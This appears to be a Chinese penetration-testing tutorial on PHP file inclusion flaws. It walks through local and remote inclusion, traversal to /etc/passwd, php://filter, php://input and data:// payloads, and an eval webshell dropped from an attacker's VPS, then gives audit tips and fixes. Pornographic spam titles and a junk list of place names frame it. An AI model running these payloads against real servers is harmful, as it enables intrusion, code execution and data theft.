亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP滲透測試文件包含漏洞與利用的方法

發布時間:2022-07-20 09:45:14 來源:億速云 閱讀:169 作者:iii 欄目:開發技術

本篇內容介紹了“PHP滲透測試文件包含漏洞與利用的方法”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

    什么是文件包含漏洞

    文件包含,在網站開發人員開發網站時,會將經常重復的代碼寫道一個單獨的文件中,在別的文件中可以使用文件包含的函數來引用單獨的文件。目前很多語言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函數,其目的就是減少代碼重復,提高代碼優化效率,減少函數重復的使用。

    文件包含產生的漏洞,因為有這些文件包含的函數,當我們有一定權限(可讀)的時候,我們就可以利用文件包含函數包含我們語言指定的文件,或者是包含本地服務器中的文件。簡而言之,當php語言在引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經過效驗,或者沒有經過過濾被繞過,從而引用別的文件,導致的惡意代碼注入

    文件包含漏洞的分類

    大體可以分為:本地文件包含和遠程文件包含。

    遠程文件包含:開啟條件,在php.ini配置文件中開啟allow_url_fopen和allow_url_include,包含文件是第三方文件

    本地文件包含:就是本地服務器上的文件

    一旦遠程包含可以開啟,那么遠程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以隨意的包含任意主機的任意文件。

    PHP滲透測試文件包含漏洞與利用的方法

    本地文件包含

    顧名思義,引用本地文件,利用inchude包含函數包含本地(服務器)文件。

    漏洞&利用

    利用條件(以PHP為例)

    1.inchude,等函數通過動態變量引入

    2.用戶能自動控制動態變量

    什么是動態變量?

    我們可以這么理解,例如一個網站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此時的?in=../../../etc/passwd是我們動態可以操作的變量

    直接訪問文件

    ?xx=/etc/passwd     #直接訪問passwd敏感文件
    ?xx=../../../etc/passwd 

    利用協議讀取源代碼

    ?xx=php://filter/read=convert.base64-encode/resource=xx.php    #這樣能看到php文件的源碼

    截斷%00

    這里假設漏洞代碼為

    <?php
    if(isset($_GET['shell']))
    {
        include($_GET['shell'].".php");  //包含文件后會加上.php,并進行訪問
    }else{
        include(index.php);
     }
    ?>

    假設這樣正常的網站,我們上傳一個圖片馬文件為tpm.jpg,此時我們需要訪問圖片時網址就會報錯,此時url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此時文件中并沒有該文件,此時我們就可以在.jpg后添加%00進行截斷,可能可以繞過。

    條件:php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情況。

    長度截斷

    漏洞代碼演示

    <?php
    $file=$_GET['shell'];
    include($file.'.jpg');
    ?>

    與上面原理差不多,在1.txt中寫下

    PHP滲透測試文件包含漏洞與利用的方法

    當知曉對方服務器的而前提下,我們可以使用超出服務器的解析特征,進行一個繞過。

    條件:Windows長度是&lsquo;/.&rsquo;長于256,Linux長度是&lsquo;/.&rsquo;長于4096

    PHP的偽協議

    file://

    作用:

    訪問本地文件,在CTF中常用文件包含題型

    條件:

    allow_url_fopen=off/on

    allow_url_inchude=off/on

    實例:

    文件的絕對路徑和文件名
    http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
    文件的相對路徑和文件名
    http://127.0.0.1/include.php?file=./phpinfo.txt
    網絡路徑和文件名
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

    php://

    作用:

    php:// 訪問輸入輸出流(i/o)

    這里介紹兩種常用類型:

    php://filter 用于讀取源碼

    php://input 用于執行PHP代碼

    條件:

    allow_url_fopen=off/on

    allow_url_inchude=off/on

    實例

    php://filter/read=convert.base64-encode/resource=[文件名]  //base64讀取文件源碼

    http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

    php://input + POST執行php代碼

    http://127.0.0.1/include.php?file=php://input[POST DATA部分] <?php phpinfo(); ?>

    如果具有一定的寫入權限,POST 寫入一句話木馬

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
    data://

    條件 :

    allow_url_fopen=on

    allow_url_inchude=on

    作用:

    在PHP>=5.2.0起,可以使用data://數據封裝器,傳遞數據相應格式的數據

    可以執行PHP代碼

    實例

    #1.data://text/plain,

    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

    #2.data://text/plain;base64,

    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    phar://

    phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容

    http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

    利用條件 PHP > 5.3

    要想使用Phar類里的方法,必須將phar.readonly=on/off,利用 phar 協議可以拓展 php 反序列化漏洞攻擊面

    遠程文件包含

    服務器通過PHP的函數去包含任意文件時,由于要包含的這個文件過濾不嚴格,從而可以去包含一個惡意文件,從而達到攻擊的目的

    漏洞利用

    條件:

    allow_url_include = OFF

    allow_url_fopen = OFF

    遠程包含webshell

    ?xxx=http://攻擊者的VPS/shell.txt
    #會在網站目錄生成名為 shell.php 的一句話木馬

    shell.txt內容為:

    <?php
        fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
    ?>
    代碼審計

    文件包含用到的函數

    include()        //使用此函數,只有代碼執行到此函數時才將文件包含進來,發生錯誤時只警告并繼續執行。
    inclue_once()    //功能和前者一樣,區別在于當重復調用同一文件時,程序只調用一次。
     
    require()        //使用此函數,只要程序執行,立即調用此函數包含文件發生錯誤時,會輸出錯誤信息并立即終止程序。
    require_once()    //功能和前者一樣,區別在于當重復調用同一文件時,程序只調用一次。

    代碼審計的時候全局搜索以上函數

    如果是基于圖像上傳的 ,要搜$_FILES 變量, 因為PHP處理上傳文件的功能,基本都與$_FILES有關。

    查看目錄結構,重點關注includes、modules等文件夾,查看index.php等文件是否動態調用過這些內容,變量是否可控。

    修復建議

    • 禁止遠程文件包含 allow_url_include=off

    • 配置 open_basedir=指定目錄,限制訪問區域。

    • 過濾../等特殊符號

    • 修改Apache日志文件的存放地址

    • 開啟魔術引號 magic_quotes_qpc=on

    • 盡量不要使用動態變量調用文件,直接寫要包含的文件。

    “PHP滲透測試文件包含漏洞與利用的方法”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

    向AI問一下細節

    免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

    php
    AI

    神农架林区| 观塘区| 常山县| 凌云县| 揭东县| 阜宁县| 武川县| 雷山县| 江源县| 汉源县| 高碑店市| 广宁县| 庄浪县| 台州市| 兴山县| 古交市| 桐城市| 沙洋县| 洪湖市| 南岸区| 平武县| 盈江县| 甘泉县| 麻江县| 大英县| 高青县| 宁津县| 双鸭山市| 保德县| 和顺县| 思南县| 京山县| 桃园县| 自贡市| 北宁市| 互助| 丹凤县| 武陟县| 蒙自县| 高邑县| 星子县|